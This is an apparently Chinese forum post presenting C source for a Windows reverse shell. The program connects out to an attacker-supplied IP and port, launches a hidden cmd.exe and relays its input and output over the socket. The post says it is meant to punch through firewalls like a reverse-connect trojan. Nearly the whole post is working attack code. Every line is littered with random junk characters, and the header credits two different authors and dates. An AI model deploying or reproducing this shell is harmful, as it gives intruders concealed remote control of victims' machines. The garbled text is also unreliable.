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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Au}l^&,zN  
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/* ============================== %'Q2c'r  
Rebound port in Windows NT gq/Za/ !6  
By wind,2006/7 b78~{h t`  
===============================*/ IF\ @uo`  
#include 2lOUNxQ$  
#include ( }Bb=~  
di0@E<@1:  
#pragma comment(lib,"wsock32.lib") z ynu0X  
+}a(jO  
void OutputShell(); j%^4 1y  
SOCKET sClient; oOU_ Nay  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 8T6NG!/  
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void main(int argc,char **argv) 2zW IB[  
{ s.Ai _D  
WSADATA stWsaData; *kg->J  
int nRet; v$Hz)J.01  
SOCKADDR_IN stSaiClient,stSaiServer; {\P%J:s#9  
# #2'QNN  
if(argc != 3) ,w H~.LHi  
{ ZH9Fs'c=  
printf("Useage:\n\rRebound DestIP DestPort\n"); J{Kw@_ypP  
return; b \ln XN  
} ^-[ I;P  
=CZRX' +yN  
WSAStartup(MAKEWORD(2,2),&stWsaData); UU MB"3e  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !]82$  
|D"L!+J-$  
stSaiClient.sin_family = AF_INET; #?jsC)  
stSaiClient.sin_port = htons(0); )H{1 Xjh-  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); tHZ"o!(S  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) L\:m)g,F.  
{ orH6R8P]  
printf("Bind Socket Failed!\n"); >(S)aug$1  
return; tm^joK[{|J  
} 'ET];iZ2  
o,dp{+({  
stSaiServer.sin_family = AF_INET; 9&AO  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ,)#rD9ZnC  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); M K)}zjw  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) >19s:+  
{ 6AG]7d<  
printf("Connect Error!"); UGy3 B)  
return; to</  
} ,.>9$(s  
OutputShell(); h%ys::\zF  
} WcNQF!f  
A#T"4'#?<  
void OutputShell() PENB5+1OK  
{ M-Efe_VRQc  
char szBuff[1024]; L%is"NZh  
SECURITY_ATTRIBUTES stSecurityAttributes; >RkaFcq  
OSVERSIONINFO stOsversionInfo; 8X"4RyNSn  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ":M]3.  
STARTUPINFO stStartupInfo; pF-_yyQ  
char *szShell; rSJ!vQo Cb  
PROCESS_INFORMATION stProcessInformation; t:fz%IOe  
unsigned long lBytesRead; fI<LxU_n:  
O8A1200  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); f(D'qV T{  
$) "\N  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); RBn/7  
stSecurityAttributes.lpSecurityDescriptor = 0; e,_Sj(R8  
stSecurityAttributes.bInheritHandle = TRUE; 0lg'QG>  
4J_HcatOB  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); xsj ,l@Ey  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); K6p\ >J  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); B?=R= p  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Qr$ 7 U6p  
stStartupInfo.wShowWindow = SW_HIDE; 1bCE~,tD  
stStartupInfo.hStdInput = hReadPipe;  &kmaKc  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe;  t8EI"|  
9=MNuV9/s  
GetVersionEx(&stOsversionInfo); }_zN%Tf~  
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switch(stOsversionInfo.dwPlatformId) [+dCA  
{ O@a OKk  
case 1: ~Dq-q6-@t  
szShell = "command.com"; ?j.a>{  
break; Q!@M/@-Ky  
default: |ffHOef  
szShell = "cmd.exe"; K?' m#}]  
break; =+MF@ 4  
} -^CW}IM{ I  
M1-tRF  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); *eIX"&ba  
SQ4^sk_!  
send(sClient,szMsg,77,0); z:f&k}(  
while(1) L{%L*z9J  
{ ,5;M(ft#  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); %u66H2  
if(lBytesRead) uD=Kar  
{ E b[;nk?  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); t;w<n"  
send(sClient,szBuff,lBytesRead,0); <PDCM8  
} !?JZ^/u  
else pS+w4gW  
{ ?;~E*kzO&  
lBytesRead=recv(sClient,szBuff,1024,0); oLKliA=q  
if(lBytesRead<=0) break; M^:JhX{  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); !\R5/-_UU  
} e3SnC:OWf  
} Az:~|P  
5WHz_'c  
return; zU&Iy_Ke.  
}
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